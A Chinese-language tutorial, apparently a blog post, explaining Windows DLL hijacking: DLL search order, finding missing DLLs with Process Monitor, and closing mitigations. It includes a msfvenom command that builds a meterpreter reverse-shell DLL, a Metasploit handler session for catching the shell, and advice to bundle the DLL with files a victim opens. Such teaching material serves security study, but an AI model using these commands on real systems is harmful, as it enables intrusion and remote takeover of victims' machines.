dll
劫持就是使用自己制作的恶意dll
文件伪装成程序正常运行中会用到的dll
文件,一般情况下dll
劫持攻击利用的是程序缺失的dll
文件,因为如果一个应用程序缺失了某个dll
文件,并且在此前提下还可以正常运行,那么它就会执行一次搜索(这里有个前提是,程序的源代码中并未明确指定该dll
文件的具体路径)
在windows xp sp2
之前(不包括sp2
),程序搜索dll
文件的顺序是这样的:
1. 进程对应的应用程序所在目录;
2. 当前目录(Current Directory);
3. 系统目录(通过 GetSystemDirectory 获取);
4. 16位系统目录;
5. Windows目录(通过 GetWindowsDirectory 获取);
6. PATH环境变量中的各个目录;
在此之后,windows
增加了SafeDllSearchMode
安全机制,默认处于开启状态,开启之后的搜索顺序是这样的:
1. 进程对应的应用程序所在目录;
2. 系统目录(通过 GetSystemDirectory 获取);
3. 16位系统目录;
4. Windows目录(通过 GetWindowsDirectory 获取);
5. 当前目录;
6. PATH环境变量中的各个目录;
可以看到当前目录从第2降到了第5
所以我们进行dll
劫持的时侯主要采用缺失dll劫持的方式
msfvenom制作恶意dll
:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.45 LPORT=57124 -a x86 -f dll evil.dll
注意:x86是CPU架构,根据应用程序是32(x86)为还是64(x64)为选择
需要说明的一点是,由msfvenom
制作出来的dll
文件可能会导致应用程序无法正常启动
因为windows
中的大部分文件都有自己的默认关联程序,我们就可以把恶意dll
(由msfvenom
制作)和文件打包在一起,当用户打开这些文件时,其所关联的应用程序也就执行了,由于该程序缺失了特定的dll
文件,就会进行搜索,然后我们的位于当前目录的dll
文件就会被加载,使用metasploit
接受shell
即可
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.10.145
LHOST => 192.168.10.145
msf exploit(multi/handler) > set LPORT 57124
LPORT => 57124
msf exploit(multi/handler) > exploit
我们可以使用process monitor
的过滤器来初步筛选出指定应用程序缺失的dll
文件
begin with,我的理解就是从某个目录开始搜索,但是好像有点偏差,因为最后的结果把应用程序所在目录中的缺失dll
也显示了出来:
我们之所以排除掉SysWOW64、system32,是因为这两个目录在注册表中有限制,就是说位于这两个目录中的dll
文件是直接定位的,没有上面搜索的过程
注册表路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
过滤掉Program是因为位于C:\Program Files、C:\Program Files (x86)文件夹中的缺失dll
我们无法劫持(一般来说),因为往这两个文件夹中写文件需要管理员权限,而且应用程序所在目录的搜索优先级高于当前目录
还有一点就是,我们要确保最后结果中的dll
文件不在注册表的KnownDLLs
所列出的那些dll
文件中
之后我们就可以针对这些缺失的dll
进行劫持,正常情况下,是可以弹回shell
的
关于dll
劫持漏洞审计的一款工具:
由metasploit
作者编写的DLL Hijack Auditor
下面稍微说一点dll
劫持的缓解办法:
- 在编写程序时,调用SetDllDirectory(L"")
,把当前目录从dll
搜索路径中排除,尽量使用DLL
的绝对路径
- 验证dll
文件的签名
- 使用LoadLibraryEx加载DLL
时,指定LOAD_LIBRARY_SEARCH_标志